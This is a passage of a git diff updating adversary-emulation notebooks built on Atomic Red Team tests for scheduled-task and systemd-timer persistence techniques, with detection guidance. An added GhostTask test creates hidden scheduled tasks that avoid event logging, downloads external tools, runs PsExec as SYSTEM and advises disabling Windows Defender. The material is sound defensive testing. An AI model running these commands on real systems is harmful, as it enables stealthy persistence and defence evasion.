HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ff12000", + "id": "b55edc41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "8cf547f7", + "id": "7902c598", "metadata": {}, - "source": "### Atomic Test #8 - Import XML Schedule Task with Hidden Attribute\nCreate an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\"\n\n```" + "source": "### Atomic Test #8 - Import XML Schedule Task with Hidden Attribute\nCreate an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: File to copy must exist on disk at specified location (#{xml_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6616d0fa", + "id": "b11c44c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b20d68c6", + "id": "50b30ecc", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -302,28 +302,28 @@ { "cell_type": "code", "execution_count": null, - "id": "dd739438", + "id": "e40c10bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "469934ff", + "id": "e96ece27", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ffe8263", + "id": "b125fb24", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "72d744ba", + "id": "acdc1fb1", "metadata": {}, "source": [ "### Atomic Test #9 - PowerShell Modify A Scheduled Task", @@ -337,28 +337,73 @@ { "cell_type": "code", "execution_count": null, - "id": "0c262b29", + "id": "85b4930b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "2a5b0b79", + "id": "7a30fc36", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b05abf22", + "id": "4401f2bc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "fb12f7f1", + "id": "9ed4aa12", + "metadata": {}, + "source": "### Atomic Test #10 - Scheduled Task (\"Ghost Task\") via Registry Key Manipulation\nCreate a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.\nThis requires a download of the GhostTask binary, which must be run as NT Authority\\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.\nFor further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```\n##### Description: GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"`\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a460f27c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f84f429f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\localhost add lilghostie \"cmd.exe\" \"/c notepad.exe\" $env:USERDOMAIN + '\\' + $env:USERNAME logon\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "daa0f59c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "47769007", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\localhost delete lilghostie > nul```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "eb7157bd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "42b5341a", "metadata": {}, "source": "## Detection\nMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data." } @@ -366,13 +411,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1053.006.ipynb b/playbook/tactics/persistence/T1053.006.ipynb index 0b7b43b1..450aa9ab 100644 --- a/playbook/tactics/persistence/T1053.006.ipynb +++ b/playbook/tactics/persistence/T1053.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3bfe4cb1", + "id": "51ed52ab", "metadata": {}, - "source": "# T1053.006 - Systemd Timers\nAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence." + "source": "# T1053.006 - Systemd Timers\nAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)" }, { "cell_type": "markdown", - "id": "a6c740c4", + "id": "d2d5e5d4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "618627d4", + "id": "71c96695", "metadata": {}, "source": [ "### Atomic Test #1 - Create Systemd Service and Timer", @@ -27,42 +27,42 @@ { "cell_type": "code", "execution_count": null, - "id": "cc49e25e", + "id": "7500d8d8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4858cd88", + "id": "fa123963", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop art-timer.timer\nsystemctl disable art-timer.timer\nrm /etc/systemd/system/art-timer.service\nrm /etc/systemd/system/art-timer.timer\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a24567af", + "id": "e8b76455", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ffaf6b5c", + "id": "f4b58973", "metadata": {}, "source": "### Atomic Test #2 - Create a user level transient systemd service and timer\nSchedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemd-run exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v systemd-run)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install systemd on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b46d3fcd", + "id": "6315ffbc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "55da3301", + "id": "d58beb8f", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -72,42 +72,42 @@ { "cell_type": "code", "execution_count": null, - "id": "e7927214", + "id": "1271d859", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a6657723", + "id": "0cebf54b", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl --user stop Atomic-Red-Team.service\nsystemctl --user stop Atomic-Red-Team.timer\nrm /tmp/log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c2391433", + "id": "4a7f94d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "f6949ed0", + "id": "4686a003", "metadata": {}, "source": "### Atomic Test #3 - Create a system level transient systemd service and timer\nSchedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemd-run exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v systemd-run)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install systemd on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "36d8420f", + "id": "149fcc7f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b06e7723", + "id": "943a7cbb", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -117,28 +117,28 @@ { "cell_type": "code", "execution_count": null, - "id": "32311d4f", + "id": "090d42e0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "97fdee5a", + "id": "cf77dc0a", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl stop Atomic-Red-Team.service\nsystemctl stop Atomic-Red-Team.timer\nrm /tmp/log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e700ad15", + "id": "a7178775", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5125fd11", + "id": "245e2311", "metadata": {}, "source": "## Detection\nSystemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)" } @@ -146,13 +146,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1053.007.ipynb b/playbook/tactics/persistence/T1053.007.ipynb index 719e3ca9..8624f462 100644 --- a/playbook/tactics/persistence/T1053.007.ipynb +++ b/playbook/tactics/persistence/T1053.007.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "506c7d3c", + "id": "5eb0e238", "metadata": {}, "source": "# T1053.007 - Container Orchestration Job\nAdversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)" }, { "cell_type": "markdown", - "id": "965f9f95", + "id": "4ebcefbd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cc41e102", + "id": "890ebbc5", "metadata": {}, "source": "### Atomic Test #1 - ListCronjobs\nKubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7e825442", + "id": "47efab1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "29a66d62", + "id": "20ce0c85", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bad5ccf1", + "id": "84d432fe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cce9a427", + "id": "fa4f21e4", "metadata": {}, "source": "### Atomic Test #2 - CreateCronjob\nKubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "070ffcbb", + "id": "04c74051", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "00906d9c", + "id": "145e0c55", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -69,28 +69,28 @@ { "cell_type": "code", "execution_count": null, - "id": "46d67ccb", + "id": "e86613a8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "be85882d", + "id": "0098fbe2", "metadata": {}, "source": "#### Cleanup: \n```bash\nkubectl delete cronjob art -n default\n```" }, { "cell_type": "code", "execution_count": null, - "id": "69833347", + "id": "a5b9950b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "56d280bc", + "id": "b7b94b5c", "metadata": {}, "source": "## Detection\nMonitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. " } @@ -98,13 +98,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1053.ipynb b/playbook/tactics/persistence/T1053.ipynb index 15f1a287..10d2e8c5 100644 --- a/playbook/tactics/persistence/T1053.ipynb +++ b/playbook/tactics/persistence/T1053.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "1c56e6f1", + "id": "7889e26f", "metadata": {}, "source": "# T1053 - Scheduled Task/Job\nAdversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)" }, { "cell_type": "markdown", - "id": "38f35d60", + "id": "edeb51c4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "351090ff", + "id": "01b77d58", "metadata": {}, "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." }, { "cell_type": "markdown", - "id": "ed9c23ca", + "id": "1e55c652", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can enable Admin Access on a system to see if the adversary utilizes that access to create scheduled tasks to launch their malware or tools.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1058.ipynb b/playbook/tactics/persistence/T1058.ipynb deleted file mode 100644 index 2ec8aedb..00000000 --- a/playbook/tactics/persistence/T1058.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8df1e6de", - "metadata": {}, - "source": "# T1058 - Service Registry Permissions Weakness\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)" - }, - { - "cell_type": "markdown", - "id": "da708fd2", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f6c9f7d2", - "metadata": {}, - "source": "## Detection\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1060.ipynb b/playbook/tactics/persistence/T1060.ipynb deleted file mode 100644 index 9d7943ed..00000000 --- a/playbook/tactics/persistence/T1060.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "785e9f57", - "metadata": {}, - "source": "# T1060 - Registry Run Keys / Startup Folder\nAdversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add 